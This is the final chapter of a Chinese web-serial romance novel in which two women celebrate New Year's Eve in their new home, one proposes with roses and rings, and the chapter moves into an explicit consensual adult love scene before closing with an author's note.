“还会有很多个十二的。”岑曳摸摸她的头,将她抱在了怀裏- 除夕的早晨,两个人早起去了超市买菜。 姜又柠还拍了点简单的视频分别发给了岑千兰和姜鸿英两个人。 她希望两个妈妈身体都好,也想让她们知道,她跟岑曳也一直都好,不用挂念。 岑曳多看了几眼手机,被姜又柠催促了下,“你干嘛?陪我出门还看手机?跟谁聊天呢?” “没有。”岑曳矢口否认,姜又柠的手想要伸过来抢的时候就被她避开了。 她搂过姜又柠的腰扶了下,“看路,小心撞到人。” 姜又柠瞪她一眼,“别让我抓到你的小把柄,不然我可不会放过你!” 她哼了一声去挑选了两盒圣女果,自顾自地又跑去了海鲜区。 没多久两个人就拎着满满的两大袋食材回家了。 街道上很热闹,处处都是烟花和摊子。 “不准买小吃,回家吃饭。”岑曳两手拎着食材,没办法直接拉着她回家,只能皱着眉头制止她。 姜又柠瘪瘪嘴,跟在女人屁股后面一步三回头。 “快点。”岑曳催促她一句。 “哎呀你烦得很!”姜又柠快步跑过来,鼻子距离小吃摊远了,香味少了,也就没那么馋了。 新家厨房不小,够两个人一起大展身手,不出两个小时,几道菜就端上了桌。 “不喝酒啊?”姜又柠抿唇,“昨天的红酒不喝吗?” “吃海鲜喝什么酒?”岑曳看她眼馋的样子,思索了下拿出了一瓶拆开,“白葡萄酒倒是能喝点儿。” 姜又柠这才心满意足地笑了笑。 两个人没在餐桌上吃饭,反而将菜都端到了落地窗旁的小桌子上。 毛绒绒的地毯坐起来很舒服,姜又柠看向窗外徐徐升起的烟花,整个人都心情舒畅。 好久都没有这样幸福的感觉了。 “新家你喜欢吗?”岑曳的视线没怎么往外面看,始终落在了姜又柠的身上。 “喜欢!特别喜欢!”姜又柠认真地回答她。 “喜欢就好。”岑曳点点头,心情终于轻松一些。 尘埃落幕,年少时跟姜又柠一起约好的梦想终于实现了。 她盼这一天实在盼了太久。 “我们终于有自己的家了。” 听见女人的话,姜又柠愣了神,随后重重点头。 餐后岑曳洗了碗,将两袋垃圾递给姜又柠,“帮我下楼扔个垃圾。” “你不跟我一起去啊?” “我把厨房再收拾一下,不然有味道。”岑曳说,“垃圾袋也没了,你顺手去便利店再买点儿。” “真让我一个人去?”姜又柠抿唇,“除夕夜哎,马上过年了哎!你让我去便利店买垃圾袋?” 岑曳点点头。 姜又柠张了张唇,还是忍耐住了反驳她的话,“算了,你今天表现好,我不跟你计较。” 在她下楼之后,岑曳就回书房将几十大束捧花迅速抱了出来摆好。 早上订好的花束,还跟花店沟通了不少时间,姜又柠还抓着她聊天这事儿不放。 元旦她就想这样做的,但可惜闹了点儿矛盾,现在总算等到了一个更好的机会。 岑曳将花束摆好,将戒指盒放进口袋裏,给姜又柠打了个电话,“回来了没?” ——“没有!便利店好多人!大家都在买烟花呢,队排得可——长了!” “算了,要不你直接回来吧。” ——“岑曳,你大过年的还要耍我?!” 电话那边传来了跑步和气喘吁吁的声音。 ——“岑曳,你等我回家收拾你!” 十几分钟过去,岑曳听见了门解锁的声音,她吞咽了下。 她知道自己在紧张。 从来没有过的紧张。 姜又柠刚打开门喊了句‘岑曳!’,就呆滞地站在了原地,“岑曳……?” 无数朵玫瑰花摆在客厅内,大大小小的花束堆成了错落有致地小山。 女人就站在花束中间,认真地看着她,“傻愣着做什么?” “干嘛这样嘛……”姜又柠忍不住鼻子发酸,“别以为这样我就不生你使唤我买垃圾袋的气!” 岑曳无奈地笑出声来,下一秒姜又柠就跑过来抱住了她的腰。 “柠柠,我好像一直都没敢跟你提复合的事情。”岑曳搂过她,垂眸认真盯着她看。 女人的视线很轻很慢、格外珍重,还带着一丝丝紧张的轻颤。 “我之前没那个信心,我怕得到否定的答案,也怕现在的我不是你喜欢的样子。” “所以我只能去尝试、去试探,或许我有很多做的不够周到的地方,惹了你生气,惹了你不开心,还惹得你掉眼泪,但等我知道你还爱我,还在意我,还会因为我动容的时候,你不知道我有多高兴。” “我们柠柠长大了很多,懂事了很多,也辛苦了很多。但别担心,今后我们一起承担所有的一切,是苦是乐我们都一起尝。” 她知道姜又柠一直在为过去的事情有负担,也不想让她一个人承担日后所有未知的辛苦。 所以,她要认真地许下承诺,她们会为彼此互相承担,谁都离不开谁。 “我不要吃苦!你也不准!”姜又柠的眼泪早就忍不住了。 岑曳吃的苦已经够多了。 “好,那我们今后只过好日子!”岑曳半跪下来,拿出戒指盒,“柠柠,要不要跟我在一起?” 姜又柠早已经泣不成声,她只是重重点头,看着女人在自己的无名指上戴上戒指,还亲吻了自己的手指之后,眼泪便落个没完了。 她同样将另一枚戒指给岑曳戴上,嘴裏含含糊糊地嘟囔,“什么时候买的……你就喜欢瞒我……买这么多花也瞒我!” “好,这是我的错了。”岑曳吻她的唇,“那你喜欢吗?” “喜欢。”姜又柠破涕为笑,“那我吃了好处,今晚是不是又得听话了?” 岑曳乐了,“你之前都是这么想的?” 姜又柠轻哼了一声,“没有,我只是给你面子而已。” 女人只是笑着没说话,抱着她两个人望向了窗外绚烂的天空。 十一点多的时候,姜又柠才去洗了澡,她洗得很快,将自己偷偷买的那件衣服穿在了身上,外面套着长袖的睡裙。 岑曳没有怀疑什么,往身上涂着身体乳,感受到身后床上的那道视线,她转头望了过去。 姜又柠立马避开了视线,若无其事地整理了下自己的睡裙。 “困不困?”岑曳问她。 “困。” “那今晚早点睡?” “啊……?” 岑曳从镜子裏看她,表情顿了下,看见她领口那儿露出的一条黑色的蕾丝边。 她转身倚靠着桌子,抱胸打量她。 姜又柠被这个视线盯得紧张,“那你过来睡啊。” “嗯。”女人应了声走过去,“那把衣服脱了吧,不是觉得穿衣服睡觉不舒服?” “你先把灯关了。” 岑曳将卧室内的灯换成了昏黄的夜灯。 “你能不能先,别看我……” 岑曳看她一眼,虽然猜到了什么但还是听话地别开了头。 姜又柠脱掉了外面的那层睡裙,女人再次望过来的时候,表情上认真了很多。 “昨天藏着掖着就是买了这个?” “你的反应为什么这么平淡……”姜又柠抿唇,“不,不好看吗?” “很漂亮。”女人的声音有些沙哑。 几层黑色的蕾丝迭在一起盖住了某些部位,大片的肌肤上只有几条黑色的带子勾着,但更显得欲盖弥彰。 “还有个绳子。”姜又柠随手扔在床上,“好像不怎么搭配。” 岑曳捞过绳子,“手给我。” “喂……”姜又柠知道她要干嘛,但还是乖乖伸出了手。 “姜又柠同学表现得很好,所以今晚岑老师要给你一些奖励。” “我看是惩罚……”姜又柠嘟囔一句,很快就被女人压着亲吻。 亲吻落遍每一寸白皙的肌肤,岑曳咬住黑色带子又松开,弹的几下没有任何痛觉,只是格外挠人。 明明姜又柠知道接下来会发生什么,但这种已知带来的感觉更快掀起了她掌控快/感的神经。 女人将多出来的一小截绳子在指节上缠绕了几圈,开始不轻不重地磨。 姜又柠咬唇,绳子的材质不算轻柔,反而粗糙得很,磨得她有些不耐。 几分钟过去,岑曳皱着眉头将手指伸到自己的眼前,“浸得绳子的颜色都变深了。” 姜又柠的双手放在腰间被束缚住,只能茫然地扣着自己的大腿,“岑曳……” 她低声喊她,被岑曳这样盯着的感觉很难受,像是有蚂蚁乱爬。 岑曳俯身吻她,堵住了她的嘴,“姜又柠同学,上课的时候不要说话。” “我没说话!哼唧几声也不行吗!”姜又柠反驳她,不过很快什么话都说不出来了。 绳子磨动得更快了,她轻轻呜咽几声,又听见几声烟花炸开,炸得她晃了神。 “除了不可以说话,也不可以开小差哦。”岑曳有意无意地扇她几下,舔了下掌心,对于这个味道格外满意。 姜又柠努力回神,但岑曳仍旧没有给她任何机会。 窗外的烟花隔着窗帘透进来,姜又柠完完全全陷了进去。 她在白茫茫的世界裏感受到了女人一遍又一遍的爱意,也回馈给了她大海般的层层水波。 不知道过了多久,岑曳将她抱在怀裏,一如既往地帮她做着事/后安抚。 “还记得你十八岁的生日吗?” “……记得。” 姜又柠根本忘不了当时的感觉,在女人的唇吻上来的那一秒,她终于体会旁人说的全身上下的神经都被狠狠调动起来的感觉。 电流涌遍全身,让她忍不住尖叫、发狂! 她恨不得昭告天下说岑曳是她一个人的,她跟岑曳在一起了! “我们柠柠一直没变化。”岑曳仔细看着她红润的脸,上面满是爱意的茫然,“还没缓过来吗?” 女人皱眉思考,今晚她好像不算太过分。 只是十八岁的那天,姜又柠也跟现在一样愣神,不过那次是因为惊喜和错愕,她没想到岑曳会愿意跟她在一起。 而现在,是因为被做到发昏。 可岑曳爱她的心始终没变。 “姐姐,你答应我的时候,我在想,哪怕之后会有什么挫折,我都不会放弃的……”姜又柠落下眼泪来,“可是我没能做到,也没能实现我永远在一起的愿望。” “我们柠柠不是中途去做了自己想做的事情吗?”岑曳说,“身为你的爱人,总得给你一些尝试新奇选择的机会。” 她轻轻吻住她的唇,“但无论你走到哪裏,我都会找到你,牵着你的手,往家裏去。” 就像小时候她去接姜又柠放学那样。 这个贪吃的小姑娘会随机出现在校门口小吃摊的任何一个摊位前,还像个侦察兵一样左看右看,生怕被人发现。 但无论她溜到哪裏贪吃,岑曳都会准确无误地找到她,然后牵着她的手,无奈地长嘆一句—— “喂,小祖宗,快点跟姐姐回家了。”—— 作者有话说:正文完结啦!大家冬至快乐!今天跟室友一起包饺子吃!香菇馅儿的! 感谢一直辛苦追连载的大家!有什么想看的番外可以说,有手感的我都尽量写!《 》